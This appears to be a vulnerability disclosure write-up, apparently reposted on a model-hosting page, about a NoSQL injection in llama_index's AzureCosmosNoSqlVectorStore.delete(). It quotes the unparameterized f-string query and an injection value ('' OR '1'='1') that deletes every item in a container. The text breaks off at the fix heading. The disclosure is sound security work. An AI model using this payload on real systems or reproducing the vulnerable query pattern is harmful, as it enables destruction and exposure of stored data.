You can deploy this model and start earning money today!

ericblackgachara/
llama-index-azurecosmos-nosql-poc

Name: llama-index-azurecosmos-nosql-poc
Availability: InStock

Views

No views yet

NoSQL Injection — AzureCosmosNoSqlVectorStore.delete() | llama_index

Target Info

Field	Value
Repo	run-llama/llama_index
Package	llama-index-vector-stores-azurecosmosnosql
File	llama_index/vector_stores/azurecosmosnosql/base.py
Line	315
Commit	9aa5ee5 (HEAD)
Platform	huntr.com

Root Cause

python

# azurecosmosnosql/base.py line 315 — VULNERABLE
items = self._container.query_items(
    query=f"SELECT c.id, c.id AS partitionKey FROM c "
          f"WHERE c.{self._metadata_key}.ref_doc_id = '{ref_doc_id}'",
    enable_cross_partition_query=True,
)
for item in items:
    self._container.delete_item(item["id"], partition_key=item["partitionKey"])

ref_doc_id is placed inside single quotes in a Cosmos SQL API query with no parameterization. Azure Cosmos SQL API supports SQL-like string literals and OR operators. The returned items are all deleted.

Trigger Path

vector_store.delete(ref_doc_id) → AzureCosmosNoSqlVectorStore.delete() → raw f-string query → Cosmos SQL API → deletes ALL returned items

Reproduce

python3 poc_cosmos_sqli.py

Expected output shows:

Normal: WHERE c.metadata.ref_doc_id = 'doc_abc123' → deletes one item
Attack-1: WHERE c.metadata.ref_doc_id = '' OR '1'='1' → returns ALL items → deletes entire container

Impact

CRITICAL: entire container wipe — one crafted delete call destroys all data
Cross-document access — query returns items beyond the intended target
Metadata exfiltration via selective property filtering

Suggested Fix